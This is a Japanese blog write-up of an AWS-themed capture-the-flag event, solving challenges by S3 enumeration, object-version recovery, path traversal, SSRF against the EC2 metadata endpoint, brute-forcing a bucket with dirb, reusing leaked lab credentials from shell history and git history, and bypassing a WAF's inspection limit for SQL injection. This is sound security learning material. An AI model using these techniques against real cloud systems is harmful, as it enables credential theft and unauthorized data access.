Security-JAWS【第30回】[Security-JAWS DAYS] Day2のCTFにSREが参加してみた
trocco® SREの髙塚(@tk3fftk)です。
Security-JAWS【第30回】[Security-JAWS DAYS] のCTFに参加してきたので、writeup的なものを書いてみます。
オフライン会場はprimeNumberのオフィスとはお隣!だったのですが、諸事情により自宅からオンライン参加をしていました。
どういうイベントだったの?
以下、引用ですがこんな感じです。
Security-JAWSは、AWS+Securityをコンセプトに立ち上げられた勉強会になります。
第30回は記念回として「Security-JAWS DAYS」と題し、オンライン+オフラインのハイブリッドでしかも2日間の開催です!
Day1はカンファレンスデイ、Day2はCTFデイとなります。
詳しくはイベントページの Security-JAWS【第30回】[Security-JAWS DAYS] ~Day2~ 2023年08月27日(日) - Security-JAWS | Doorkeeper をご覧ください🙏
CTFって?
CTFとはCapture The Flagの略で、情報セキュリティに関する知識や技術を駆使して隠されているFlag(答え)を見つけ出すゲームです。
ドラマ「トリリオンゲーム」第1話の「セキュリティチャンピオンシップ」みたいなやつ[1]、と言うと家族にも伝わりました。メディアのちからってすげー。
どんな問題があったの? (writeup)
Trivia, Warmup, Easy, Medium, Hardに分かれて問題が用意されていました。
Hardはもはや問題すら見れていなかったので、Easy, Medium中心に時間内に取り組めたものをいくつか紹介してみます。
Warmup
Run Function, Show IAM policy
- どちらもIAM Userを起点にFLAGを探す問題でした。
- アタッチされているPolicyを見よ、というヒントがあったので素直?にaws-cliで
list-attached-user-policies
やlist-attached-group-policies
を実行していましたが結果が空だったため、頭を捻っていました。 - その後、運営の方からのヒントを頂き
list-user-policies
やlist-group-policies
の存在を知ったところで Managed Policy と Inline Policy の取得って別APIなんだ〜というのを学びました。- コンソールやTerraformで使ってると意識しない部分ですね。。
ref: iam — AWS CLI 2.13.13 Command Reference
Find data 2
問題文: FLAGはバケツにつっこんであるので探してね!
- S3 bucketに入った大量の画像データから、正解の画像を探してFLAGを探す問題でした。
-
aws s3 ls
にオプションをつけてファイルサイズ比較して異なるものを探す、みたいなのが想定された解き方でした。 - 自分は「正解画像とダミーはサイズも揃えてる」と勘違いしてChatGPTに画像比較コードを聞いてもらって解きました😇
同じサイズって聞いてる… - シェルで画像をrenameしつつ同じディレクトリに集めた後、Dockerでpythonイメージを起動して以下のように実行しました。
root@a9289c912b94:/tmp# pip install Pillow
root@a9289c912b94:/tmp# pip install imagehash
root@a9289c912b94:/tmp# cat <<EOF > main.py
> from PIL import Image
import os
import imagehash
# 画像フォルダのパスを指定
image_folder = "./"
# 画像ファイルのリストを取得
image_files = [file for file in os.listdir(image_folder) if file.endswith((".jpg", ".png"))]
# 画像をハッシュ化して比較するためのセットを作成
image_hashes = set()
# 重複しない画像ファイルを格納するリスト
unique_images = []
# 画像ファイルをハッシュ化して比較
for image_file in image_files:
image_path = os.path.join(image_folder, image_file)
img = Image.open(image_path)
img_hash = imagehash.average_hash(img)
# 画像のハッシュがセット内に存在しない場合、重複しない画像とみなす
if img_hash not in image_hashes:
image_hashes.add(img_hash)
unique_images.append(image_path)
# 重複しない画像ファイルを出力
for image_path in unique_images:
pr
root@a9289c912b94:/tmp# python main.py
Unique Image: ./flag500.jpg
Unique Image: ./flag444.jpg
- 所感
- 解説していただいているときにSlackでは似たような解き方をしてる方もちらほら。
- ChatGPT、
Trivia問題は全然解けなかったけどシュッとやりたいコード出してくれるのはべんり。
Easy
Recon the website
問題文: Webサイトを調査してFLAGを入手せよ!
-
Webページから脆弱性を探し出してFLAGを探す問題でした。
-
まずはJavaScriptを見ると、背景をいじってるだけ。
-
通信を見るとS3で静的サイト配信されているっぽい。
-
もしかしてと思いおもむろに
s3 ls
~/tmp » aws s3 ls website.scjdaysctf2023.net
PRE R6Ju2ZnVlc7xG1mJaaabkdcm8rd1bq/
PRE css/
PRE js/
2023-08-01 15:45:56 791 index.html
- 怪しいのがあったので中を覗くとFLAGがありました。
~/tmp » aws s3 ls website.scjdaysctf2023.net/R6Ju2ZnVlc7xG1mJaaabkdcm8rd1bq/
2023-08-01 15:45:58 39 FLAG
- 所感
- あるあるっぽいやらかし?
- AWS(S3)側が結構気をつけなはれや、とコンソール上でもドキュメント上でも言っているやつかなと思いました。
Find data 3
問題文: FLAGはバケツにつっこんであるので探してね!
- これもS3に隠されたFLAGを探し出す問題でした。
- 指定されたクレデンシャルを使ってとりあえず
aws s3 ls
~/tmp » aws s3 ls himituno-bucket3/readme.txt
2023-08-06 23:11:05 89 readme.txt
- readmeがあったのでとりあえず中を見る
~/tmp » aws s3 cp s3://himituno-bucket3/readme.txt .
~/tmp » cat readme
It was pointed out that placing sensitive data on S3 is not recommended, so I removed it.%
- この時点で、あ〜消したけど履歴には残ってるやつかな?と思い、バケットのバージョニングを確認したら案の定でした。
~/tmp » aws s3api get-bucket-versioning --bucket himituno-bucket3
An error occurred (AccessDenied) when calling the GetBucketVersioning operation: Access Denied
~/tmp » aws s3api list-object-versions --bucket himituno-bucket3 | cat
{
"Versions": [
{
"ETag": "\"c9f27b84582adb55f13c221fcb6a98c2\"",
"Size": 34,
"StorageClass": "STANDARD",
"Key": "SECRET_DATA",
"VersionId": "MO4Xz6sB8DONDjCid6ideiRgfdyywcSv",
"IsLatest": false,
"LastModified": "2023-08-06T14:09:57+00:00",
"Owner": {
"DisplayName": "metal.preacher.667+secjawsctf02",
"ID": "fc0f5cd79b017dfe728d64cc204668f1627550263b144a54ae6c2074446d2f59"
}
},
{
"ETag": "\"5a60a9f41ca16805b78555e750446f4f\"",
"Size": 89,
"StorageClass": "STANDARD",
"Key": "readme.txt",
"VersionId": "C5Liv01TTxQDidoi3Uhs2NJuBkFCPCQI",
"IsLatest": true,
"LastModified": "2023-08-06T14:11:05+00:00",
"Owner": {
"DisplayName": "metal.preacher.667+secjawsctf02",
"ID": "fc0f5cd79b017dfe728d64cc204668f1627550263b144a54ae6c2074446d2f59"
}
}
],
"DeleteMarkers": [
{
"Owner": {
"DisplayName": "metal.preacher.667+secjawsctf02",
"ID": "fc0f5cd79b017dfe728d64cc204668f1627550263b144a54ae6c2074446d2f59"
},
"Key": "SECRET_DATA",
"VersionId": "RNzJqEkR36thowt.ug5SxaGYT18yckYP",
"IsLatest": true,
"LastModified": "2023-08-06T14:10:21+00:00"
}
],
"RequestCharged": null
}
~/tmp » aws s3api get-object --bucket himituno-bucket3 --version-id=MO4Xz6sB8DONDjCid6ideiRgfdyywcSv --key="SECRET_DATA" flag
u nix Path?
問題文: あなたは、PathとObject Keyの区別がつきますか? private/flagに格納されている情
報を取得してください。
-
問題文に記載されたページにアクセスすると、3つのファイルがダウンロードできるページになっていました。
-
3つのファイルはそれぞれ
README.md
,DOCS.md
,index.ts
でした。 -
とりあえずファイルを落として読んでみる
- mdファイルのほうは、どちらもS3のパスとUnixのパスの解釈の差をつけばいい、というヒントのよう
- (問題と直接関係ないですが) 結構変な文字使えちゃうんですよね、S3
- この時点では
index.ts
はなにをするものか分からず
- mdファイルのほうは、どちらもS3のパスとUnixのパスの解釈の差をつけばいい、というヒントのよう
-
次に、フロントのコードを読みました
- VSCodeに持ってきて、URLがCloudFrontのものだったので、そのIDで検索
- API Gatewayを叩いているらしい事がわかる
- 何やらURLを返しているらしい
- index.tsを読むと、
handler
関数が定義されてるので、これがAPI Gatewayの奥にいるLambda?- S3の署名済みURLを返しているらしい
- API Gatewayを叩いているらしい事がわかる
- このあたりの理解に時間がかなりかかった記憶があります。
- VSCodeに持ってきて、URLがCloudFrontのものだったので、そのIDで検索
-
とりあえずChromeのコンソールから叩けるようにしてました。
-
フロント側でurlencode、lambda側でdecodeされるので、decodeされた結果どういうのを送りたいか考える
- ここも割とトライアンドエラーしちゃってたので、ちゃんとコード読んで考えようと紙とペンを取り出した記憶があります。
-
/
はencodeしないといけないかな、、とかごちゃごちゃやっていて、別pathに送るとCORSで弾かれて頭を抱えていまいた。
-
-
public/<file_path>
になってるみたいだから、private
も同じところにいるだろう、ということで結局シンプルに../private/flag
を渡せばいいという結論になり、await Y0("../private/flag")
を実行して帰ってきたURLにアクセスしてFLAGを取得しました。
- ここも割とトライアンドエラーしちゃってたので、ちゃんとコード読んで考えようと紙とペンを取り出した記憶があります。
-
所感
- S3のパスの解釈とUnix pathの解釈が異なること、S3のオブジェクトはかなり自由な文字を使えることを以前Flatt Securityさんに診断いただいた[2]ときに教えていただき対応をしたのが活きている感じがありました。
- 今回はUnix path -> S3でしたが、S3のオブジェクト名を利用したサーバへのパストラバーサルもあり得ますね。
- S3のパスの解釈とUnix pathの解釈が異なること、S3のオブジェクトはかなり自由な文字を使えることを以前Flatt Securityさんに診断いただいた[2]ときに教えていただき対応をしたのが活きている感じがありました。
Get Provision
問題文: EC2 上で動く Web アプリケーションからインスタンスのプロビジョニングのデータを入手せ
よ!
- 以下のようなWebページからFlagを探しだす問題でした
- URLを入れて
接続確認
を押すとURL先にアクセスして内容を表示してくれるようです。 - これは教科書で見たIMDSのやつだ!
- ということで
http://169.254.169.254
叩く。 - 結果返ってきたので階層を下る。
- プロビジョニング、というヒントがあったので
user-data
を見るとFLAGが出力されてました。
Medium
Expose Backup
- S3バケットが与えられて、そこを起点にFLAGを探す問題でした。 (Mediumで唯一解けたやつ)
問題文を読みながらありそうなオブジェクトを想像してください。
- というヒントがSlackに投稿されていたのですが、想像、ムズいとなりました。
- 攻撃者の気持ちになって考えてみると、想像する前に辞書攻撃的なものをするのでは、と。
- そういうツールは普通にありそうなので、軽くググってみると
dirb
というのがサクッと入れれて目的に即していそう。[3]- 辞書を外から与えなくても、デフォルトで持ってる辞書を使ってくれるらしい。
- おもむろに実行してみる
~/tmp » dirb https://my-backup-file-ulxmhiw3jroec7sclynr06fkvhqssf.s3.ap-northeast-1.amazonaws.com
-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Mon Aug 28 23:04:50 2023
URL_BASE: https://my-backup-file-ulxmhiw3jroec7sclynr06fkvhqssf.s3.ap-northeast-1.amazonaws.com/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
-----------------
GENERATED WORDS: 4612
---- Scanning URL: https://my-backup-file-ulxmhiw3jroec7sclynr06fkvhqssf.s3.ap-northeast-1.amazonaws.com/ ----
+ https://my-backup-file-ulxmhiw3jroec7sclynr06fkvhqssf.s3.ap-northeast-1.amazonaws.com/.bash_history (CODE:200|SIZE:403)
(!) WARNING: All responses for this directory seem to be CODE = 403.
(Use mode '-w' if you want to scan it anyway)
-----------------
END_TIME: Mon Aug 28 23:04:55 2023
DOWNLOADED: 102 - FOUND: 1
-
.bash_history
がヒットしたようなので、ダウンロードして中を見る。
ls
ssh-keygen
cat ~/.ssh/id_rsa.pub
ssh ec2-user@db
ssh ec2-user@app-server
ssh ec2-user@front-server
ping 10.0.4.99
vim ~/.aws/credentials
aws sts get-caller-identity
sudo yum install git
GIT_USER=codecommit-user01-at-055450064556
GIT_PASSWORD=mzU2yCSO4w3DwFp4S8UfraQajxF22JD674mvA2TT%2BbU%3D
git clone https://${GIT_USER}:${GIT_PASSWORD}@git-codecommit.ap-northeast-1.amazonaws.com/v1/repos/terraform
- こうなるとこうですよね (exportはいらん気がしたけどコピペが楽だったので)
export GIT_USER=codecommit-user01-at-055450064556
export GIT_PASSWORD=mzU2yCSO4w3DwFp4S8UfraQajxF22JD674mvA2TT%2BbU%3D
git clone https://${GIT_USER}:${GIT_PASSWORD}@git-codecommit.ap-northeast-1.amazonaws.com/v1/repos/terraform
- 名前の通りTerraformのリポジトリでした。
- 考えられるのはStateになにか入ってるか、Terraformあるあるのクレデンシャルどうするか問題か?
- その前にわざわざGitでcloneさせてるの怪しいのでcommit log見てみる。
commit a08da284e1eaf2cb10177fc2835d3b32eedb9276 (HEAD -> main, origin/main, origin/HEAD)
Author: 328 <328@328.moe>
Date: Sun Aug 27 02:15:41 2023 +0900
add s3.tf
commit 1942a4352ddd774dfb7335afe2a03066112b9671
Author: 328 <328@328.moe>
Date: Sun Aug 27 02:15:33 2023 +0900
add networkacl.tf
commit 47174d815c19ec1d2f9d7329fdf96f5585fbf03b
Author: 328 <328@328.moe>
Date: Sun Aug 27 02:15:19 2023 +0900
add security.tf
commit 3ff95ac55ddf41daa2671ffb9641651cebd260d9
Author: 328 <328@328.moe>
Date: Sun Aug 27 02:15:03 2023 +0900
add vpn.tf
commit b63c808c32a937ae74896aaf408ab9571d665f19
Author: 328 <328@328.moe>
Date: Sun Aug 27 02:14:39 2023 +0900
delete secrets
commit 60242fdad70b36664131bc325a0c1a7acd75ad41
Author: 328 <328@328.moe>
Date: Sun Aug 27 02:14:15 2023 +0900
first commit. add vpc.tf
- commit messageが丁寧でえらい👏
git log -p b63c808c32a937ae74896aaf408ab9571d665f19
commit b63c808c32a937ae74896aaf408ab9571d665f19
Author: 328 <328@328.moe>
Date: Sun Aug 27 02:14:39 2023 +0900
delete secrets
diff --git a/variables.tf b/variables.tf
index 381649e..f26d863 100644
--- a/variables.tf
+++ b/variables.tf
@@ -1,4 +1,4 @@
stage = prod
-access_key = AKIAQZ2IU22WDDI36BVT
-secret_key = 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
-region = ap-northeast-1
\ No newline at end of file
+access_key =
+secret_key =
+region = ap-northeast-1
- これでStateファイル取得するか?と思ったけど、そもそも保存先の直接S3にアクセスできるな、となったのでs3 lsしたらFLAGありました。
- Bucket名はTerraformのコード中にあったやつ。
~/tmp » AWS_ACCESS_KEY_ID=AKIAQZ2IU22WDDI36BVT AWS_SECRET_ACCESS_KEY=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 aws s3 ls ulxmhiw3jroec7sclynr06fkvhqssf
2023-08-27 01:23:29 34 flag.txt
- 所感
- 個人的に、一番解いてて楽しいやつでした。
- 普段の開発とか運用でやっちゃう人いそうなうっかりの連続という感じ。
- mysqlを
-ppassword
で実行したときに出てくるwarningのやつ。
- 個人的に、一番解いてて楽しいやつでした。
LISE
-
かわいいネコチャンのページから脆弱性をついてFLAGを探す問題でした。
- 作問者の安里さんの猫だそうです。
- 時間内に誰も解けてなかったので、猫飼い仲間として(?0は解きたかった問題でした。
-
このページにはフォームが含まれていました。明らかに怪しいよねと適当にsubmit
-
API Gatewayに投げ込んでることはわかる
-
調べてるときに、API GatewayへのアクセスにIAMアクキーが埋め込まれてるケースがあることを知る
-
コードをアクキーとかAPI Gatewayの文字列で検索すると… シークレットも埋め込まれてるやんけ、となる
-
これを使って、API Gateway周りのリソースを取得するAPIを叩きまくってたけどハズレでそのまま時間切れ
-
正解はSecretsManagerに隠されていたようでした。
-
所感
- 何のリソースを見るべきかアタリをつける能力いるなーと思ったけど、攻撃者からするとSecretsManagerのようなクレデンシャル保存されてるサービスを優先して見るのはそれはそうかも。
- アクセスキーを元に使用可能な権限やサービスを列挙するようなツールは色々公開されている、とのこと。
- 以下は一例として紹介してくださったもの
Is the secret protected?
- ログインフォームからFLAGを探す問題でした。
- login.phpだからPHPの攻撃手法…?とか調べてて何も分からなかった。
- 普通?にSQLインジェクションしてみんな突破してたけど、WAFで弾かれる想定だったらしい。
- 普通が出てこなかったので悲しい + 自分が後で試すとちゃんと弾かれた。
- 想定回答としては、WAFが確認する先頭8KBに適当に文字列を入れた後、passwordパラメーターにSQLインジェクションの文字列をセットする、とのこと。
解説中に困惑するみなさん
- 所感
- ELBがレスポンスを返す → WAFが弾いていると判断してよい。
- 教訓: WAFを信じすぎてはいけない。
Get Access Key
問題文: EC2 上で動く少しセキュアになった Web アプリケーションから IAM のアクセスキーを入手して、データベースから機微な情報を入手せよ!
-
Get Provision
と同じような見た目のWebページからFlagを探しだす問題でした。 -
フロント側の制限の突破はわかったけど、サーバーサイドのブロックは…?
- というところで以下のようなヒントをもらったので別表現 (
http://instance-data
) で突破してトークン取得
- というところで以下のようなヒントをもらったので別表現 (
-
インスタンスのRole tokenだと、Session Token必要なところまでやって、aws cliでなぜかsts get-caller-identityは実行できるのにdynamodb (UIにDynamoDBという) のコマンドは実行できず手詰まりのまま時間切れ。
- (謎だけどコピペミス? 後で試し直したらいけました)
-
所感
- CLI引数でAWSのクレデンシャルを渡さず、profileを作って指定するほうがミスが少なそうかつ、取り回しが良さそう。
- サクッとprofile作るやり方を調べておきたい。
-
PayloadsAllTheThings/Server Side Request Forgery/README.md at master · swisskyrepo/PayloadsAllTheThings に書かれている通り、別表現がいくらでもあるのでIP直ブロックはあまりいい手ではない。
- IMDSのIP向いてるDNS作って読ませて、という手段もあるはず?
- CLI引数でAWSのクレデンシャルを渡さず、profileを作って指定するほうがミスが少なそうかつ、取り回しが良さそう。
成績は?
約100人中6位でした🎉
専任のいわゆるセキュリティエンジニアが社内にいない中、AWSとセキュリティに向き合うことが多い一年だったので、その成果が出たような感じがしました…!
セキュリティを専門とされている方々に混じりがながらもこの成績だったので素直に嬉しかったです。
Fail率がやたら高いのはTrivia問題で間違えまくったからです、たぶん
参加してみてどうでした?
いわゆるCTFは初参加で、練習問題を数問解いたことがある程度だったのですが、解けるとたのしい!
AWS知識(セキュリティのベストプラクティスとか、やらかしそうなミスとか)・CTF成分・開発者の気持ちを考える()、という3要素がバランス良く含まれていた設問だったように思いました。
故に、どれも飛び抜けてはないけれど、自分のような全部ほどほどに分かる人間が回答できるものが多かったのかな?と思っています。堅実に下からEasyまで完答 + Mediumが1問解けるとこのスコアでした。
他の方のwriteupや公式(作問者の方)の解説資料など
- Security-JAWS Days CTF Write up
- [レポート]Security-JAWS DAYS ~Day2~ に参加しました。一部writeupあり。 #secjaws #secjaws30 #jawsug #secjawsdays | DevelopersIO
- Security-JAWS Days CTF 作問者解説 - Speaker Deck
- Security-JAWS DAYS 参加記&CTF作問者解説 - blog of morioka12
We are hiring 🐈
trocco®を開発するprimeNumberでは、プロダクトや全社のセキュリティを一緒に考えてくれるセキュリティエンジニアを絶賛募集中です…!
海外展開に向けて面白い経験ができると思うのでぜひ🙏
まずはカジュアル面談でお会いしましょう!
- セキュリティスペシャリスト【1人目セキュリティエンジニア/エンジニア向けSaaS/グローバル展開に伴いセキュリティ強化】
- 情報セキュリティ推進担当【一人目情シス/エンジニア向けSaaS/グローバル展開に伴いセキュリティ強化】
- データ統合自動化SaaS trocco®のSRE【資金調達総額14億円/2023年海外展開本格始動/導入数200社以上/リモート可】
Discussion